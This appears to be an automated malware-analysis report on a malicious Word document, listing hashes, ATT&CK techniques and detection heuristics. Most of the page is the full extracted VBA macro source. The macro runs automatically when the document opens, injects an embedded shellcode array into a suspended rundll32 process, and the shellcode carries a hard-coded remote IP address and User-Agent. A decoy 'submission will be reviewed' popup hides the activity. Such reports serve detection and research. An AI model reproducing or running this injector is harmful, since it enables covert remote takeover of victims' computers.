Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 9a18a7eab209ced5…

MALICIOUS

Office (OLE)

398.0 KB Created: 2017-10-20 17:50:00 Authoring application: Microsoft Office Word First seen: 2017-10-28
MD5: 853a1af4d5cac2e6db5bb71300b8eb14 SHA-1: b889f5b3ed3e6aec656524834bc56fb3dffd197c SHA-256: 9a18a7eab209ced53fe80d17377956a9f3fd59b7d833ce6c2011196ce957575d
412 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1055.012 Process Injection: Process Hollowing T1055.001 Process Injection: Native API

The sample is a malicious Office document containing VBA macros. Heuristics indicate the use of CreateProcess, VirtualAlloc, WriteProcessMemory, and CreateRemoteThread APIs, suggesting process injection. The Auto_Open macro is present and likely triggers the execution of malicious code. The VBA script itself is heavily obfuscated but references these critical Windows APIs, indicating an attempt to inject shellcode into a running process.

Heuristics 13

  • ClamAV: Doc.Macro.Injection-6355574-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.Injection-6355574-0
  • Reference to WriteProcessMemory API critical SC_STR_WRITEPROCESSMEMORY
    Reference to WriteProcessMemory API
  • Reference to CreateRemoteThread API critical SC_STR_CREATEREMOTETHREAD
    Reference to CreateRemoteThread API
  • VBA macros detected medium 6 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • LOLBin reference in VBA critical OLE_VBA_LOLBIN
    LOLBin reference in VBA
    Matched line in script
        If Len(Environ("ProgramW6432")) > 0 Then
        sProc = Environ("windir") & "\\SysWOW64\\rundll32.exe"
    Else
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    End Sub
Sub AutoOpen()
    Auto_Open
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    End Sub
Sub Workbook_Open()
    Auto_Open
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub Auto_Open()
    Dim myByte As Long, myArray As Variant, offset As Long
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    -58, -117, 7, 1, -61, -123, -64, 117, -27, 88, -61, -24, -119, -3, -1, -1, 49, 57, 50, 46, 49, 53, 53, 46, 57, 51, 46, 50, 51, 55, 0, 44, 60, 84, -84)
    If Len(Environ("ProgramW6432")) > 0 Then
        sProc = Environ("windir") & "\\SysWOW64\\rundll32.exe"
  • Reference to CreateProcess API high SC_STR_CREATEPROCESS
    Reference to CreateProcess API
  • Reference to VirtualAlloc API medium SC_STR_VIRTUALALLOC
    Reference to VirtualAlloc API
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 8269 bytes
SHA-256: 4aa761dc848c08fbadeabc1624b3e157f069326aa858c89aa26a3a12bb2e8cc2
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "CommandButton1, 0, 0, MSForms, CommandButton"
Private Type PROCESS_INFORMATION
    hProcess As Long
    hThread As Long
    dwProcessId As Long
    dwThreadId As Long
End Type

Private Type STARTUPINFO
    cb As Long
    lpReserved As String
    lpDesktop As String
    lpTitle As String
    dwX As Long
    dwY As Long
    dwXSize As Long
    dwYSize As Long
    dwXCountChars As Long
    dwYCountChars As Long
    dwFillAttribute As Long
    dwFlags As Long
    wShowWindow As Integer
    cbReserved2 As Integer
    lpReserved2 As Long
    hStdInput As Long
    hStdOutput As Long
    hStdError As Long
End Type

#If VBA7 Then
    Private Declare PtrSafe Function CreateStuff Lib "kernel32" Alias "CreateRemoteThread" (ByVal hProcess As Long, ByVal lpThreadAttributes As Long, ByVal dwStackSize As Long, ByVal lpStartAddress As LongPtr, lpParameter As Long, ByVal dwCreationFlags As Long, lpThreadID As Long) As LongPtr
    Private Declare PtrSafe Function AllocStuff Lib "kernel32" Alias "VirtualAllocEx" (ByVal hProcess As Long, ByVal lpAddr As Long, ByVal lSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As LongPtr
    Private Declare PtrSafe Function WriteStuff Lib "kernel32" Alias "WriteProcessMemory" (ByVal hProcess As Long, ByVal lDest As LongPtr, ByRef Source As Any, ByVal Length As Long, ByVal LengthWrote As LongPtr) As LongPtr
    Private Declare PtrSafe Function RunStuff Lib "kernel32" Alias "CreateProcessA" (ByVal lpApplicationName As String, ByVal lpCommandLine As String, lpProcessAttributes As Any, lpThreadAttributes As Any, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, lpEnvironment As Any, ByVal lpCurrentDirectory As String, lpStartupInfo As STARTUPINFO, lpProcessInformation As PROCESS_INFORMATION) As Long
#Else
    Private Declare Function CreateStuff Lib "kernel32" Alias "CreateRemoteThread" (ByVal hProcess As Long, ByVal lpThreadAttributes As Long, ByVal dwStackSize As Long, ByVal lpStartAddress As Long, lpParameter As Long, ByVal dwCreationFlags As Long, lpThreadID As Long) As Long
    Private Declare Function AllocStuff Lib "kernel32" Alias "VirtualAllocEx" (ByVal hProcess As Long, ByVal lpAddr As Long, ByVal lSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As Long
    Private Declare Function WriteStuff Lib "kernel32" Alias "WriteProcessMemory" (ByVal hProcess As Long, ByVal lDest As Long, ByRef Source As Any, ByVal Length As Long, ByVal LengthWrote As Long) As Long
    Private Declare Function RunStuff Lib "kernel32" Alias "CreateProcessA" (ByVal lpApplicationName As String, ByVal lpCommandLine As String, lpProcessAttributes As Any, lpThreadAttributes As Any, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, lpEnvironment As Any, ByVal lpCurrentDriectory As String, lpStartupInfo As STARTUPINFO, lpProcessInformation As PROCESS_INFORMATION) As Long
#End If

Sub Auto_Open()
    Dim myByte As Long, myArray As Variant, offset As Long
    Dim pInfo As PROCESS_INFORMATION
    Dim sInfo As STARTUPINFO
    Dim sNull As String
    Dim sProc As String

#If VBA7 Then
    Dim rwxpage As LongPtr, res As LongPtr
#Else
    Dim rwxpage As Long, res As Long
#End If
    myArray = Array(-4, -24, -119, 0, 0, 0, 96, -119, -27, 49, -46, 100, -117, 82, 48, -117, 82, 12, -117, 82, 20, -117, 114, 40, 15, -73, 74, 38, 49, -1, 49, -64, -84, 60, 97, 124, 2, 44, 32, -63, -49, _
13, 1, -57, -30, -16, 82, 87, -117, 82, 16, -117, 66, 60, 1, -48, -117, 64, 120, -123, -64, 116, 74, 1, -48, 80, -117, 72, 24, -117, 88, 32, 1, -45, -29, 60, 73, -117, 52, -117, 1, _
-42, 49, -1, 49, -64, -84, -63, -49, 13, 1, -57, 56, -32, 117, -12, 3, 125, -8, 59, 125, 36, 117, -30, 88, -117, 88, 36, 1, -45, 102, -117, 12, 75, -117, 88, 28, 1, -45, -117, 4, _
-117, 1, -48, -119, 68, 36, 36, 91, 91, 97, 89, 90, 81, -1, -32, 88, 95, 90, -117, 18, -21, -122, 93, 104, 110, 101, 116, 0, 104, 119, 105, 110, 105, 84, 104, 76, 119, 38, 7, -1, _
-43, -24, 0, 0, 0, 0, 49, -1, 87, 87, 87, 87, 87, 104, 58, 86, 121, -89, -1, -43, -23, -92, 0, 0, 0, 91, 49, -55, 81, 81, 106, 3, 81, 81, 104, -69, 1, 0, 0, 83, _
80, 104, 87, -119, -97, -58, -1, -43, 80, -23, -116, 0, 0, 0, 91, 49, -46, 82, 104, 0, 50, -96, -124, 82, 82, 82, 83, 82, 80, 104, -21, 85, 46, 59, -1, -43, -119, -58, -125, -61, _
80, 104, -128, 51, 0, 0, -119, -32, 106, 4, 80, 106, 31, 86, 104, 117, 70, -98, -122, -1, -43, 95, 49, -1, 87, 87, 106, -1, 83, 86, 104, 45, 6, 24, 123, -1, -43, -123, -64, 15, _
-124, -54, 1, 0, 0, 49, -1, -123, -10, 116, 4, -119, -7, -21, 9, 104, -86, -59, -30, 93, -1, -43, -119, -63, 104, 69, 33, 94, 49, -1, -43, 49, -1, 87, 106, 7, 81, 86, 80, 104, _
-73, 87, -32, 11, -1, -43, -65, 0, 47, 0, 0, 57, -57, 117, 7, 88, 80, -23, 123, -1, -1, -1, 49, -1, -23, -111, 1, 0, 0, -23, -55, 1, 0, 0, -24, 111, -1, -1, -1, 47, _
73, 114, 79, 82, 0, 111, -104, -39, 46, -63, -56, 31, -45, 4, 49, -6, 73, 46, -72, -45, -93, 47, 72, 79, 37, -108, 118, 106, 4, -13, 101, 0, 110, 18, 72, 41, 57, -75, 85, 116, _
-107, 76, 100, 89, -18, 45, 71, -32, 105, 45, 89, -26, -37, 113, 60, 102, -66, 25, 112, -74, 115, 121, 99, 31, 3, 25, -58, -127, -73, -70, 24, 126, 70, 28, -31, -89, -127, -93, 0, 85, _
115, 101, 114, 45, 65, 103, 101, 110, 116, 58, 32, 77, 111, 122, 105, 108, 108, 97, 47, 53, 46, 48, 32, 40, 99, 111, 109, 112, 97, 116, 105, 98, 108, 101, 59, 32, 77, 83, 73, 69, _
32, 57, 46, 48, 59, 32, 87, 105, 110, 100, 111, 119, 115, 32, 78, 84, 32, 54, 46, 49, 59, 32, 87, 79, 87, 54, 52, 59, 32, 84, 114, 105, 100, 101, 110, 116, 47, 53, 46, 48, _
59, 32, 70, 117, 110, 87, 101, 98, 80, 114, 111, 100, 117, 99, 116, 115, 41, 13, 10, 0, 18, -20, 45, -28, -74, 127, -94, -51, -32, 53, -44, 104, 27, 47, -110, 102, -114, -17, 108, -20, _
93, 89, -126, -99, -69, -92, -39, 69, -53, -29, -14, -77, 63, 37, -79, -102, -54, -67, -54, -103, -120, 127, -119, 21, 15, 95, -45, -54, 122, 80, 55, -83, -78, -13, -32, -39, 126, 6, -77, -19, _
-120, 18, 71, -30, -83, 16, -96, 125, 48, -10, -71, 99, -89, 61, 85, 7, -31, 105, 85, -82, -74, 107, 87, -32, 32, 85, -31, 18, -101, -47, -17, -81, -111, -125, -28, 100, -104, 114, 69, -78, _
-29, -28, -121, -121, -31, -65, 103, -27, -80, 62, -67, 55, 121, -29, 93, -47, 46, 18, -55, -119, 18, -62, -13, -2, 112, -79, 112, -127, 126, 44, 127, 68, 89, -114, -108, 41, -64, 105, -62, 15, _
-20, 50, -120, -29, -51, 89, -34, 12, 26, 97, -124, -19, 38, -102, 121, -55, 24, 52, -120, -61, -127, -83, -66, -76, 108, -22, 104, -82, -65, -121, -126, -53, 67, -30, 86, -83, 8, -97, -20, -50, _
53, -108, 8, 109, -112, -75, -101, -68, -59, 119, 93, -42, -116, 59, 6, 42, 65, -128, 29, 70, -97, 85, 0, 104, -16, -75, -94, 86, -1, -43, 106, 64, 104, 0, 16, 0, 0, 104, 0, 0, _
64, 0, 87, 104, 88, -92, 83, -27, -1, -43, -109, -71, 0, 0, 0, 0, 1, -39, 81, 83, -119, -25, 87, 104, 0, 32, 0, 0, 83, 86, 104, 18, -106, -119, -30, -1, -43, -123, -64, 116, _
-58, -117, 7, 1, -61, -123, -64, 117, -27, 88, -61, -24, -119, -3, -1, -1, 49, 57, 50, 46, 49, 53, 53, 46, 57, 51, 46, 50, 51, 55, 0, 44, 60, 84, -84)
    If Len(Environ("ProgramW6432")) > 0 Then
        sProc = Environ("windir") & "\\SysWOW64\\rundll32.exe"
    Else
        sProc = Environ("windir") & "\\System32\\rundll32.exe"
    End If

    res = RunStuff(sNull, sProc, ByVal 0&, ByVal 0&, ByVal 1&, ByVal 4&, ByVal 0&, sNull, sInfo, pInfo)

    rwxpage = AllocStuff(pInfo.hProcess, 0, UBound(myArray), &H1000, &H40)
    For offset = LBound(myArray) To UBound(myArray)
        myByte = myArray(offset)
        res = WriteStuff(pInfo.hProcess, rwxpage + offset, myByte, 1, ByVal 0&)
    Next offset
    res = CreateStuff(pInfo.hProcess, 0, 0, rwxpage, 0, 0, 0)
End Sub
Sub AutoOpen()
    Auto_Open
End Sub
Sub Workbook_Open()
    Auto_Open
End Sub


Sub CommandButton1_Click()
 message_popup1
End Sub

Sub message_popup1()
 MsgBox "Your submission will be reviewed shortly", vbOKOnly, "Thank You"
End Sub

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